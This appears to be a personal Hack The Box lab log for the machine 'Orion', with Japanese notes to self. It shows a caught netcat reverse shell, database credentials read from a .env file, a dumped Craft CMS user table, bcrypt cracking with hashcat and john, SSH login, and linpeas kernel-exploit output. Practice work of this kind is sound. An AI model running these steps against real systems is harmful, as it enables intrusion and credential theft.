ii xz-utils 5.2.5-2ubuntu1 >
ii zerofree 1.1.1-1build3 >
ii zlib1g:amd64 1:1.2.11.dfsg-2ubuntu9.2 >
ii zstd 1.4.8+dfsg-3build1 >
lines 740-762/762 (END)^C
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.222] from (UNKNOWN) [10.129.62.191] 35116
SOCKET: Shell has connected! PID: 1886
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ rpm -qa 2>/dev/null
rpm -qa 2>/dev/null
Please ask your administrator.
www-data@orion:~/html/craft/web$ cat /etc/fstab
cat /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
# / was on /dev/sda2 during curtin installation
/dev/disk/by-uuid/790c151f-485f-4bba-b3ed-fe9b06df494a / ext4 defaults 0 1
/dev/disk/by-uuid/35a4e304-7894-4205-9531-118c4571fde9 none swap sw 0 0
www-data@orion:~/html/craft/web$ ^[[Dmount
mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1943012k,nr_inodes=485753,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,nodev,noexec,relatime,size=400572k,mode=755,inode64)
/dev/sda2 on / type ext4 (rw,relatime)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,inode64)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k,inode64)
cgroup2 on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)
pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)
bpf on /sys/fs/bpf type bpf (rw,nosuid,nodev,noexec,relatime,mode=700)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=29,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=18659)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime,pagesize=2M)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,nosuid,nodev,noexec,relatime)
tracefs on /sys/kernel/tracing type tracefs (rw,nosuid,nodev,noexec,relatime)
fusectl on /sys/fs/fuse/connections type fusectl (rw,nosuid,nodev,noexec,relatime)
configfs on /sys/kernel/config type configfs (rw,nosuid,nodev,noexec,relatime)
none on /run/credentials/systemd-sysusers.service type ramfs (ro,nosuid,nodev,noexec,relatime,mode=700)
/var/lib/snapd/snaps/lxd_35819.snap on /snap/lxd/35819 type squashfs (ro,nodev,relatime,errors=continue,x-gdu.hide)
/var/lib/snapd/snaps/core20_1822.snap on /snap/core20/1822 type squashfs (ro,nodev,relatime,errors=continue,x-gdu.hide)
/var/lib/snapd/snaps/snapd_25577.snap on /snap/snapd/25577 type squashfs (ro,nodev,relatime,errors=continue,x-gdu.hide)
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /run/snapd/ns type tmpfs (rw,nosuid,nodev,noexec,relatime,size=400572k,mode=755,inode64)
nsfs on /run/snapd/ns/lxd.mnt type nsfs (rw)
www-data@orion:~/html/craft/web$ mount
mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1943012k,nr_inodes=485753,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,nodev,noexec,relatime,size=400572k,mode=755,inode64)
/dev/sda2 on / type ext4 (rw,relatime)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,inode64)
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k,inode64)
cgroup2 on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot)
pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime)
bpf on /sys/fs/bpf type bpf (rw,nosuid,nodev,noexec,relatime,mode=700)
systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=29,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=18659)
hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime,pagesize=2M)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,nosuid,nodev,noexec,relatime)
tracefs on /sys/kernel/tracing type tracefs (rw,nosuid,nodev,noexec,relatime)
fusectl on /sys/fs/fuse/connections type fusectl (rw,nosuid,nodev,noexec,relatime)
configfs on /sys/kernel/config type configfs (rw,nosuid,nodev,noexec,relatime)
none on /run/credentials/systemd-sysusers.service type ramfs (ro,nosuid,nodev,noexec,relatime,mode=700)
/var/lib/snapd/snaps/lxd_35819.snap on /snap/lxd/35819 type squashfs (ro,nodev,relatime,errors=continue,x-gdu.hide)
/var/lib/snapd/snaps/core20_1822.snap on /snap/core20/1822 type squashfs (ro,nodev,relatime,errors=continue,x-gdu.hide)
/var/lib/snapd/snaps/snapd_25577.snap on /snap/snapd/25577 type squashfs (ro,nodev,relatime,errors=continue,x-gdu.hide)
binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /run/snapd/ns type tmpfs (rw,nosuid,nodev,noexec,relatime,size=400572k,mode=755,inode64)
nsfs on /run/snapd/ns/lxd.mnt type nsfs (rw)
www-data@orion:~/html/craft/web$ lsblk
lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 50.9M 1 loop /snap/snapd/25577
loop1 7:1 0 91.4M 1 loop /snap/lxd/35819
loop2 7:2 0 63.3M 1 loop /snap/core20/1822
sda 8:0 0 8G 0 disk
|-sda1 8:1 0 1M 0 part
|-sda2 8:2 0 6G 0 part /
`-sda3 8:3 0 2G 0 part [SWAP]
www-data@orion:~/html/craft/web$ lsmod
lsmod
Module Size Used by
mptcp_diag 16384 0
xsk_diag 16384 0
vsock_diag 16384 0
raw_diag 16384 0
unix_diag 16384 0
af_packet_diag 16384 0
netlink_diag 16384 0
tcp_diag 16384 0
udp_diag 16384 0
inet_diag 24576 4 tcp_diag,mptcp_diag,raw_diag,udp_diag
vsock_loopback 16384 0
vmw_vsock_virtio_transport_common 40960 1 vsock_loopback
vmw_vsock_vmci_transport 32768 1
vsock 49152 6 vmw_vsock_virtio_transport_common,vsock_loopback,vsock_diag,vmw_vsock_vmci_transport
intel_rapl_msr 20480 0
vmw_balloon 24576 0
intel_rapl_common 40960 1 intel_rapl_msr
input_leds 16384 0
joydev 32768 0
serio_raw 20480 0
vmw_vmci 90112 2 vmw_balloon,vmw_vsock_vmci_transport
mac_hid 16384 0
binfmt_misc 24576 1
sch_fq_codel 20480 3
dm_multipath 40960 0
scsi_dh_rdac 20480 0
scsi_dh_emc 16384 0
scsi_dh_alua 20480 0
msr 16384 0
efi_pstore 16384 0
ip_tables 32768 0
x_tables 53248 1 ip_tables
autofs4 49152 2
btrfs 1564672 0
blake2b_generic 20480 0
zstd_compress 229376 1 btrfs
raid10 69632 0
raid456 163840 0
async_raid6_recov 24576 1 raid456
async_memcpy 20480 2 raid456,async_raid6_recov
async_pq 24576 2 raid456,async_raid6_recov
async_xor 20480 3 async_pq,raid456,async_raid6_recov
async_tx 20480 5 async_pq,async_memcpy,async_xor,raid456,async_raid6_recov
xor 24576 2 async_xor,btrfs
raid6_pq 122880 4 async_pq,btrfs,raid456,async_raid6_recov
libcrc32c 16384 2 btrfs,raid456
raid1 49152 0
raid0 24576 0
multipath 20480 0
linear 20480 0
crct10dif_pclmul 16384 1
crc32_pclmul 16384 0
ghash_clmulni_intel 16384 0
sha256_ssse3 32768 0
sha1_ssse3 32768 0
vmwgfx 376832 2
aesni_intel 376832 0
ttm 86016 1 vmwgfx
crypto_simd 16384 1 aesni_intel
cryptd 24576 2 crypto_simd,ghash_clmulni_intel
psmouse 184320 0
drm_kms_helper 315392 1 vmwgfx
syscopyarea 16384 1 drm_kms_helper
sysfillrect 20480 1 drm_kms_helper
sysimgblt 16384 1 drm_kms_helper
fb_sys_fops 16384 1 drm_kms_helper
cec 65536 1 drm_kms_helper
rc_core 65536 1 cec
ahci 49152 0
libahci 49152 1 ahci
drm 622592 5 vmwgfx,drm_kms_helper,ttm
vmxnet3 69632 0
mptspi 24576 2
mptscsih 49152 1 mptspi
mptbase 106496 2 mptspi,mptscsih
scsi_transport_spi 32768 1 mptspi
i2c_piix4 32768 0
pata_acpi 16384 0
www-data@orion:~/html/craft/web$
Craft CMSにとって重要なファイルは?
.env DB接続情報、SECURITY_KEY、各種APIキーなど環境変数。ルート直下
config/db.php DB接続設定(.envを参照していることが多い)
cat .env
# Read about configuration, here:
# https://craftcms.com/docs/5.x/configure.html
# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff
# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=dev
# General settings
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8
CRAFT_DEV_MODE=true
CRAFT_ALLOW_ADMIN_CHANGES=true
CRAFT_DISALLOW_ROBOTS=true
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=
PRIMARY_SITE_URL=http://orion.htb/
root
SuperSecureCraft123Pass!
mysql -u root -pSuperSecureCraft123Pass! -h localhost craft -e "SELECT username,email,password FROM craft_users;"
mysql -u root -pSuperSecureCraft123Pass! -h localhost
mysql -u root -p'SuperSecureCraft123Pass!' -h localhost
mysql -u root -p'SuperSecureCraft123Pass!' -h 127.0.0.1 orion -e "SHOW TABLES;" | grep -i user
mysql -u root -p'SuperSecureCraft123Pass!' -h 127.0.0.1 orion -e "SELECT username,email,password FROM craft_users;"
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.222] from (UNKNOWN) [10.129.62.191] 52652
SOCKET: Shell has connected! PID: 1953
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ mysql -u root -p'SuperSecureCraft123Pass!' -h localhost
<l -u root -p'SuperSecureCraft123Pass!' -h localhost
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 41
Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| orion |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.003 sec)
MariaDB [(none)]>
select user,host,authentication_string from mysql.user;
select user();
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.15.222] from (UNKNOWN) [10.129.62.191] 52652
SOCKET: Shell has connected! PID: 1953
script -qc /bin/bash /dev/null
www-data@orion:~/html/craft/web$ mysql -u root -p'SuperSecureCraft123Pass!' -h localhost
<l -u root -p'SuperSecureCraft123Pass!' -h localhost
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 41
Server version: 10.6.23-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| orion |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.003 sec)
MariaDB [(none)]> select user,host,authentication_string from mysql.user;
select user,host,authentication_string from mysql.user;
+-------------+-----------+-------------------------------------------+
| User | Host | authentication_string |
+-------------+-----------+-------------------------------------------+
| mariadb.sys | localhost | |
| root | localhost | *D55D13A7CBFE2E210C7465E777760997A590AD9B |
| mysql | localhost | invalid |
+-------------+-----------+-------------------------------------------+
3 rows in set (0.001 sec)
MariaDB [(none)]> select user();
select user();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.000 sec)
MariaDB [(none)]> use orion;
use orion;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [orion]> show tables;
show tables;
+----------------------------+
| Tables_in_orion |
+----------------------------+
| addresses |
| announcements |
| assetindexdata |
| assetindexingsessions |
| assets |
| assets_sites |
| authenticator |
| categories |
| categorygroups |
| categorygroups_sites |
| changedattributes |
| changedfields |
| craftidtokens |
| deprecationerrors |
| drafts |
| elementactivity |
| elements |
| elements_bulkops |
| elements_owners |
| elements_sites |
| entries |
| entries_authors |
| entrytypes |
| fieldlayouts |
| fields |
| globalsets |
| gqlschemas |
| gqltokens |
| imagetransformindex |
| imagetransforms |
| info |
| migrations |
| plugins |
| projectconfig |
| queue |
| recoverycodes |
| relations |
| resourcepaths |
| revisions |
| searchindex |
| sections |
| sections_entrytypes |
| sections_sites |
| sequences |
| sessions |
| shunnedmessages |
| sitegroups |
| sites |
| sso_identities |
| structureelements |
| structures |
| systemmessages |
| taggroups |
| tags |
| tokens |
| usergroups |
| usergroups_users |
| userpermissions |
| userpermissions_usergroups |
| userpermissions_users |
| userpreferences |
| users |
| volumefolders |
| volumes |
| webauthn |
| widgets |
+----------------------------+
66 rows in set (0.001 sec)
MariaDB [orion]> select * from users;
select * from users;
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
| id | photoId | affiliatedSiteId | active | pending | locked | suspended | admin | username | fullName | firstName | lastName | email | password | lastLoginDate | lastLoginAttemptIp | invalidLoginWindowStart | invalidLoginCount | lastInvalidLoginDate | lockoutDate | hasDashboard | verificationCode | verificationCodeIssuedDate | unverifiedEmail | passwordResetRequired | lastPasswordChangeDate | dateCreated | dateUpdated |
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
| 1 | NULL | NULL | 1 | 0 | 0 | 0 | 1 | admin | NULL | NULL | NULL | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS | 2026-03-12 11:25:04 | NULL | NULL | NULL | NULL | NULL | 1 | NULL | NULL | NULL | 0 | 2026-03-12 11:24:51 | 2026-03-06 11:24:45 | 2026-03-12 11:25:04 |
+----+---------+------------------+--------+---------+--------+-----------+-------+----------+----------+-----------+----------+----------------+--------------------------------------------------------------+---------------------+--------------------+-------------------------+-------------------+----------------------+-------------+--------------+------------------+----------------------------+-----------------+-----------------------+------------------------+---------------------+---------------------+
1 row in set (0.000 sec)
MariaDB [orion]>
adam@orion.htb
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS
hashcat -m 3200 adam.hash /usr/share/wordlists/rockyou.txt
hashcat -m 3200 adam.hash /usr/share/wordlists/rockyou.txt --quiet
⇒quietがよかったらチートシートに追加
???
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt adam.hash
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ hashcat -m 3200 adam.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 1467/2935 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 512 MB (896 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
Cracking performance lower than expected?
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/...LUg0lS
Time.Started.....: Sat Oct 24 20:32:46 2026 (3 mins, 39 secs)
Time.Estimated...: Sat Oct 24 20:36:25 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 3 H/s (3.00ms) @ Accel:2 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 652/14344385 (0.00%)
Rejected.........: 0/652 (0.00%)
Restore.Point....: 648/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:8160-8192
Candidate.Engine.: Device Generator
Candidates.#01...: gloria -> darkangel
Hardware.Mon.#01.: Util: 94%
Started: Sat Oct 24 20:32:43 2026
Stopped: Sat Oct 24 20:36:26 2026
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt adam.hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
darkangel (?)
1g 0:00:02:16 DONE (2026-10-24 20:36) 0.007338g/s 4.843p/s 4.843c/s 4.843C/s gloria..cheyenne
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ hashcat -m 3200 adam.hash /usr/share/wordlists/rockyou.txt --quiet
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
hashcatのリセット方法
rm ~/.local/share/hashcat/hashcat.potfile
⇒チートシートに追加
???
sudo apt install sshpass
⇒kaliInitに追加
???
sshpass -p 'パスワード' ssh adam@orion.htb
sshpass -p 'クラックしたパスワード' ssh adam@10.129.62.191
⇒sshの列挙に追加
⇒oscpチートシートに追加
???
root
SuperSecureCraft123Pass!
adam@orion.htb
darkangel
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nxc ssh 10.129.62.191 -u root -p 'SuperSecureCraft123Pass!'
SSH 10.129.62.191 22 10.129.62.191 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.15
SSH 10.129.62.191 22 10.129.62.191 [-] root:SuperSecureCraft123Pass!
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$ nxc ssh 10.129.62.191 -u adam -p 'darkangel'
SSH 10.129.62.191 22 10.129.62.191 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.15
SSH 10.129.62.191 22 10.129.62.191 [+] adam:darkangel Linux - Shell access!
┌──(kali@kali)-[~/htb/Orion/10.129.62.191]
└─$
sshpass -p 'darkangel' ssh adam@10.129.62.191
adam@orion:~$ ifconfig ; hostname; whoami; cat user.txt
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.129.62.191 netmask 255.255.0.0 broadcast 10.129.255.255
ether 00:50:56:b9:4e:fb txqueuelen 1000 (Ethernet)
RX packets 10120 bytes 931071 (931.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 6349 bytes 6093550 (6.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 2378 bytes 201428 (201.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2378 bytes 201428 (201.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
orion
adam
0adea537c49f0bdc657e197903c47b7e
adam@orion:~$
id
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
ss -lntup
adam@orion:~$ id
uid=1000(adam) gid=1000(adam) groups=1000(adam)
adam@orion:~$ sudo -l
[sudo] password for adam:
Sorry, user adam may not run sudo on orion.
adam@orion:~$ getcap -r / 2>/dev/null
/snap/snapd/25577/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
/snap/core20/1822/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
adam@orion:~$ ss -lntup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:23 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
adam@orion:~$
adam@orion:~$ find / -perm -4000 -type f 2>/dev/null
/snap/core20/1822/usr/bin/chfn
/snap/core20/1822/usr/bin/chsh
/snap/core20/1822/usr/bin/gpasswd
/snap/core20/1822/usr/bin/mount
/snap/core20/1822/usr/bin/newgrp
/snap/core20/1822/usr/bin/passwd
/snap/core20/1822/usr/bin/su
/snap/core20/1822/usr/bin/sudo
/snap/core20/1822/usr/bin/umount
/snap/core20/1822/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1822/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/rcp
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/rlogin
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/rsh
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/traceroute
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
adam@orion:~$ ls -al /snap/core20/1822/usr/bin/chfn
-rwsr-xr-x 1 root root 85064 Nov 29 2022 /snap/core20/1822/usr/bin/chfn
adam@orion:~$ ls -al /usr/bin/passwd
-rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
adam@orion:~$
telnetもadamでログインできた。
adam@orion.htb
darkangel
adam@orion:~$ telnet 127.0.0.1 23
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Linux 5.15.0-177-generic (orion) (pts/8)
orion login: adam
Password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Oct 24 11:59:13 AM UTC 2026
System load: 1.06 Processes: 268
Usage of /: 78.4% of 5.81GB Users logged in: 1
Memory usage: 15% IPv4 address for eth0: 10.129.62.191
Swap usage: 0%
=> There are 6 zombie processes.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Oct 24 11:59:14 UTC 2026 from localhost on pts/8
adam@orion:~$
mysql -u root -p'SuperSecureCraft123Pass!' -h 127.0.0.1
adam@orion:~$ mysql -h localhost -u root
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
adam@orion:~$ mysql -h localhost -u adam
ERROR 1698 (28000): Access denied for user 'adam'@'localhost'
adam@orion:~$
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
python -m http.server
curl -fLo linpeas.sh http://10.10.15.222:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas.out
↓↓↓
./linpeas.sh | tee linpeas.txt
⇒チートシートをoutからtxtに修正して
???
sshpass -p 'darkangel' ssh adam@10.129.62.191
sshpass -p 'darkangel' scp adam@10.129.62.191:~/linpeas.out .
sshpass -p 'darkangel' scp adam@10.129.62.191:~/linpeas.txt .
scpもsshpassできる
⇒チートシートに追加
???
Linpeas抜粋
╔══════════╣ Kernel Exploit Registry (T1068)
═╣ Operating system ............. Linux
═╣ Kernel release ............... 5.15.0-177-generic
═╣ Comparable version ........... 5.15.0.177
═╣ Data chunk limit ............. max 25 rows per KERNEL_CVE_DATA_* variable (1..26)
═╣ Kernel config source ......... /boot/config-5.15.0-177-generic
CVE: CVE-2022-0995 | Name: watch_queue | Match data: pkg=linux-kernel,ver>=5.8,ver<5.16.5,x86_64 | Tags: ubuntu=21.10{kernel:5.13.0.37-generic} | Rank: 1 | Details: Not 100% reliable, may need to be run a couple of times. It rare cases it may panic the kernel.
CVE: CVE-2025-38236 | Name: AF_UNIX MSG_OOB UAF | Match data: pkg=linux-kernel,ver>=5.15,ver<6.1.143 | Tags: 1 | Rank: Fixed in stable 6.1.143
CVE: CVE-2026-43503 | Name: DirtyClone | Match data: pkg=linux-kernel,ver>=5.11,ver<5.15.208 | Tags: 1 | Rank: Fixed in stable 5.15.208; exploit path is in the networking stack and may be mitigated by removing the relevant ESP modules
CVE: CVE-2026-46333 | Name: ptrace exit-race | Match data: pkg=linux-kernel,ver>=5.11,ver<5.15.207,cmd:[ "$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null || echo 0)" -lt 2 ] | Tags: 1 | Rank: Upstream issue introduced in 4.10; fixed in 5.15.207; mitigated by kernel.yama.ptrace_scope >= 2
CVE: CVE-2022-0847 | Name: DirtyPipe | Match data: pkg=linux-kernel,ver>=5.11,ver<5.15.25 | Tags: upstream-branch-candidate | Rank: 1 | Details: Upstream stable 5.15.25 fixes this branch; vendor backports and readable target-file prerequisites remain unverified
CVE: CVE-2026-43499 | Name: GhostLock rtmutex UAF | Match data: pkg=linux-kernel,ver>=5.11,ver<5.15.212,CONFIG_FUTEX_PI=y | Tags: 1 | Rank: Fixed in stable 5.15.212; priority-inheritance futexes must be enabled
═╣ Kernel vulns found: 6
╔══════════╣ Checking for Dirty Frag (CVE-2026-43284 / CVE-2026-43500) (T1068)
╚ https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available
╚ https://www.cve.org/CVERecord?id=CVE-2026-43284
╚ https://www.cve.org/CVERecord?id=CVE-2026-43500
CVE-2026-43284 (xfrm-ESP): autoloadable: esp4 esp6 xfrm_user ipcomp6
CVE-2026-43500 (rxrpc): autoloadable: rxrpc
modprobe mitigation (xfrm-ESP): present
modprobe mitigation (rxrpc): present
Unprivileged user namespaces: disabled (breaks the public PoC)
Kernel build predates upstream fix (2026-05-08): likely unpatched unless distro backport.
これやってみたい
